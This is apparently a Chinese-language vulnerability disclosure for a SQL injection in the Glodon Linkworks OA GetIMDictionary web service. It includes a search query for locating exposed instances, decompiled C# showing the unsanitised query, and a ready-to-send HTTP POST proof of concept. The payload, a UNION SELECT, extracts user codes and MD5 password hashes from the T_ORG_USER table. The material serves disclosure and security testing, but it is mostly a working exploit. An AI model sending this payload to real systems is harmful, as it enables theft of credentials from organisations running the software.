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广联达 Linkworks GetIMDictionary SQL注入漏洞

漏洞描述

广联达 Linkworks办公OA GetIMDictionary接口存在SQL注入漏洞，发送请求包后可以获取数据库中的敏感信息

漏洞影响

广联达 Linkworks

网络测绘

web.body="/Services/Identification/"

漏洞复现

登陆页面

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// GTP.IM.Services.Config.WebSite.WebService.IM.Config.ConfigService
// Token: 0x06000018 RID: 24 RVA: 0x00004148 File Offset: 0x00002348
[WebMethod(Description = "得到IM系统配置")]
public string GetIMDictionary(string key)
{
    string str = string.Empty;
    ISysConfigService service = ServiceFactory.GetService<ISysConfigService>();
    StringBuilder stringBuilder = new StringBuilder();
    stringBuilder.AppendFormat("select F_VALUE from T_IM_DICTIONARY where f_key='{0}';", key);
    DataSet dataSet = GSqlDataAccess.SelectDataSet(service.DataSourceName, stringBuilder.ToString(), new DataParameter[0]);
    if (dataSet != null && dataSet.Tables.Count > 0 && dataSet.Tables[0] != null)
    {
        foreach (object obj in dataSet.Tables[0].Rows)
        {
            DataRow dataRow = (DataRow)obj;
            str = dataRow["F_VALUE"].ToString();
        }
    }
    StringBuilder stringBuilder2 = new StringBuilder();
    stringBuilder2.Append("<?xml version=\"1.0\" encoding=\"utf-8\"?>");
    stringBuilder2.Append("<result  value=\"" + str + "\" >");
    stringBuilder2.Append("</result>");
    return stringBuilder2.ToString();
}

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验证POC

POST /Webservice/IM/Config/ConfigService.asmx/GetIMDictionary HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded

key=1' UNION ALL SELECT top 1 concat(F_CODE,':',F_PWD_MD5) from T_ORG_USER --

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